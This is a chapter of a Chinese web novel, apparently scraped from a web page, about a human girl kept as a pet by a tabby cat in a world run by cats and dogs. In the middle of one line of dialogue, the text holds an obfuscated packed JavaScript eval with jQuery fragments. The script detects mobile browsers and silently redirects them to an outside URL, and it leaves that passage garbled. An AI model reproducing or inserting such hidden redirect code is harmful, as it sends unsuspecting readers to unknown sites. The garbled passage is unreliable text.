“谢谢加菲,但我真的吃不下了。”席希挺着突出的圆肚,瘫在加高椅里一动不动。
大加菲捏着筷子舞出残影。
他将盘子里的炒肉片挑出来,悉数放进她碗里。
小胖墩一片没得。
“大加菲,你别夹了……”
“没事,一会儿我帮你吃!”胖墩儿捧着汤碗,小口地吸溜吸溜,“他听不懂咱说话,你甭搭理他,要不他更来劲儿!”
“听不懂?”席希疑惑,她问:“那你们平时怎么沟通?”
“嗐!沟通什么啊?费那劲儿?”胖墩儿吐出肉骨头,他“呸”一声,随意抹两下嘴边的油渍,“平时在家,我只要躺地上滚两圈,就算我想要天上的星星,他都能想办法给我弄回来!”
席希张张嘴,又缓缓闭上。
她实在是不知道回什么好。
……
饭后,席希邀请贾小人一起拼四室两厅,作为消食活动。
但她显然低估了小胖墩的自来熟程度。
“哎呀~这个木条不是放这儿的!”贾小人将席希费了九牛二虎之力,才摁进模板凹槽里的木条拔出来,戳进台阶边缘当支柱,“还是得我来!”
零散在二人周围的木条数不胜数,小胖墩非得抢她手里那支。
席希不理解,但她躲得起。
她转头从零件堆里刨出圆木板,打算先拼出一个客厅茶几。
哪知贾小人又过来抢走她手里的零件,“你硬件都没拾掇好呢!咱先甭管软装了,行不?”
不是,哥。
这到底是你屋还是我屋啊?
小胖墩脸嫩,看着像个未成年。
席希不想跟他计较,于是耐着性子说:“那要不你拼硬件,我拼软装?”
“我就知道!”贾小人“啧”一声,又长叹一口气:“这要没我,我看你一个人怎么收拾!”
席希回答:“……”
这是贾小人父子俩来家里拼饭的第三天。
小胖墩太过自来熟,他的饲主——那只加菲猫显然也是!
“小贾,你饲主啥毛病?”拖拉机那么大的猫屁贴着地面,可劲儿地扭。
席希探头看了看窗外开始发黄的树叶。
这也没到春天啊!
“我爸那是跟你玩儿呢!”小胖墩嘬一口冰奶茶,含糊道:“他搁家里也这么跟我玩儿!”
席希囧着一张脸。
不儿,你们玩啥?扭屁?
神金。
“小贾,你怎么突然改口喊‘爸爸’?”听到贾小人喊“爸”,席希有些好奇。
“嗐!这你就不懂了吧?”小胖墩收着三层下巴,故作高深莫测:“一日为饲主,终身为‘爸爸’!让你多读书吧……等会儿吃完饭我教你‘喵语’和‘喵字经’,堂堂高材生的人宠怎么能肚里一点儿墨水没有?”
席希:“……”
她从来不知道,原来一样图案的蝌蚪文也能有不同的意思。
猫界多音字?
当然,这还不是最离谱的。
席希学过‘人之初,性本善’,但不知道还有‘猫之萌,但动如闪电’。
以及类似‘人无远虑,必有近忧’的字句:喵无猫豆,但有鱼肉。
作者,你要不要看看你写的什么?
回答我!
……
小胖墩实在是好为人师。
两人各自盘着小短腿,面对面坐在茶几前的竹席上。
贾小人特意往自己的塌鼻梁卡一副无镜镜框,他双手撑着膝盖,故作严肃道:“今天,我们来学猫猫国历史。”
席希好学生似的举手发问:“为啥是猫猫国,难道还有别的国家吗?”
胖墩点头:“当然。”
席希所在的星球被称为“毛绒绒星”,该星球的大国以“猫猫国”及“狗狗国”为主,两国国民数量众多,经济发达。
相比之下,其他如“兔兔国”等小国虽兔量大,却经济落后。
这里暂且不表。
现今的猫猫国主席是一位战力爆表的东北虎,年轻时曾为猫猫国东征西战,受伤退役后被选为猫猫国主席,以70高龄继续为国发光发热。
东北虎姓董,这里称他为“董主席”。
董主席是亲人派——
“你等会儿的,啥叫亲人派?”席希再次举手发问:“亲亲怪嗷?”
“啥玩意儿就亲亲怪!”一说到董主席,小胖墩激动得东北话都喊出来了,“你可消停的吧!”
猫猫国及狗狗国大多都是亲人派,他们喜欢人类并且愿意领养人宠。有亲人派,自然也有反人派的毛绒绒。
反人派的全称叫做“反人类激进派”,以鬣狗一族为发起狗,他们以消灭人类为终极目标。
“所以,你没事少往外头跑!”贾小人郑重提醒。
前两日,席希曾侧面向小胖墩打听外面的世界,字里行间甚至每个毛孔都在表达想离开饲主的意思。
聪明如贾小人,哪里听不出饭搭子的画外音?
小胖墩是家生人,他的父亲母亲是加菲父母领养的人宠。
很小的时候,他父母就不断告诫过他,千万不要向往外面的世界!
外头吃不饱、穿不暖,风里来雨里去的,一旦遇上反人类激进派,大多逃不脱被虐待,甚至残忍杀害的命运。只有好好跟着饲主,才能保证平安喜乐过一生。
“希希,等你吃过苦就会知道,现在的生活,是多少流浪人羡慕不来的!”
席希深有体会,但她还是想回家。
自从加菲猫出现后,她才发现,并不是所有猫都能听得懂她说话。
至少迄今为止,只有一只狸花。
所以,假设席希真想要回到自己的世界,那么,她能依靠且信任的,只有大猫。
但是,大猫会相信她离奇的来历吗?
席希不敢赌。
她害怕大猫不相信,更害怕大猫相信!
——
照例在午夜时分将加菲猫及他的小人宠送出门,翟曜松了一口气。
与贾工成为饭搭子后,他从一日一人份的专属厨师,升级为一猫两人的餐品供应链。
白日里,厨房的油烟机几乎没有休息的时间,自然,他也没有。
贾工那么会吃的一位猫,竟然连面也不会煮,当真是颠覆了翟曜的印象。好在,他也不是光吃不做的猫,至少会陪希希玩。
“大猫猫,你那个朋友好奇怪,老是对着我扭他的猫屁。”席希打了个嗝,“小胖墩说加菲是在跟我玩,可是谁家好猫扭屁玩啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766007|174594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
翟曜端着餐盘正往厨房走,闻言,脚下一个趔趄。
我那个猫猫神啊!
贾工就是这么跟人玩儿的?
翟曜不敢想象那个画面,辣眼睛。
这厢的大猫思维发散,饭桌前的席希话音一转,她再次开口:“大猫猫,你还没告诉过我,你是怎么能听懂我说话的?我看加菲就听不懂。”
净过手的狸花反身又走出餐厅,他伸爪将小人崽捞进怀里,抱着她走出阳台,坐在花园里的藤椅上。
十五的月亮十六圆。
天上只有一轮月,夜幕里,月明星稀。
中秋快到了,翟曜想带着希希回去和父母团聚。
一家猫,就该整整齐齐。
“大猫猫!”小人崽揪揪大猫的胡子,“你还没回答我的问题。”
翟曜回神,思忖着如何解释。
须臾,他将留下齿痕的肉垫摊在崽崽面前,“喵~嗷~”
“是我咬的?”小人崽轻轻抚着齿痕,抬头问他。
翟曜迟疑片刻,点头。
“因为被我咬了,所以才突然听懂我说话?”
“喵~”是的。
崽崽皱眉,吐槽他:“你蛛蛛侠啊?”
翟曜:“……”
小人崽忽然扯起裙摆扒拉自己,将自己的手脚翻来覆去研究个遍。
“大猫猫,我也想变蛛蛛侠。可是我怕疼,哪哪都怕……”崽崽表情严肃,她视死如归道:“要不你等我睡着的,睡着挨咬可能就不那么疼了。”
翟曜挑眉。
他无声笑着,随即眼珠子稍稍转动。倏然,他张嘴,露出四颗尖牙。
见怀中的小人崽被吓得紧闭双眼,翟曜笑得开怀。
——
久违的剌脸。
席希顶着被舔成葱头的脑袋,一脸控诉地瞪着狸花猫。
大狸花却像一个恶作剧成功的熊孩子,眯着眼咧嘴,笑声阵阵。
跟狗一样。
对于熊孩子的教训方式,席希向来信奉以其人之道还治其人之身。
但她转念一想,又放弃了,怕啃一嘴毛。
多埋汰啊?
夏末的夜晚渐凉,但大猫身上却依旧暖和。
她窝在狸花怀里,静静仰头赏月。
爸爸妈妈应该都急疯了吧?
作为计划生育时代出生的孩子,她一直没有其他兄弟姐妹。
父母开明,并没有因为席希是女孩子而刻意忽视。相反,她是在爱里长大的孩子。
第一次离家这么远,她开始体会乡愁的滋味。
席希清楚的知道,不管生存也好,想要找回家的方式也罢,她都只能依靠大狸花。
可就算是这样,她还是不敢全心全意的相信大猫。
再等等吧。
至少,现在还不行。
藤椅轻晃,晃醒她脑中沉睡的瞌睡虫。
她眨眼缓缓,睁眼的速度一次比一次慢……
柔软的肉垫轻轻拍在她的肩头。
像小时候那样,在母亲怀里被哄着睡觉。
一样的温暖又安心。
星星落下,砸进席希的梦里。
她闭着眼,似嘱咐,又似呓语:“大猫猫,你轻点儿咬我呀……”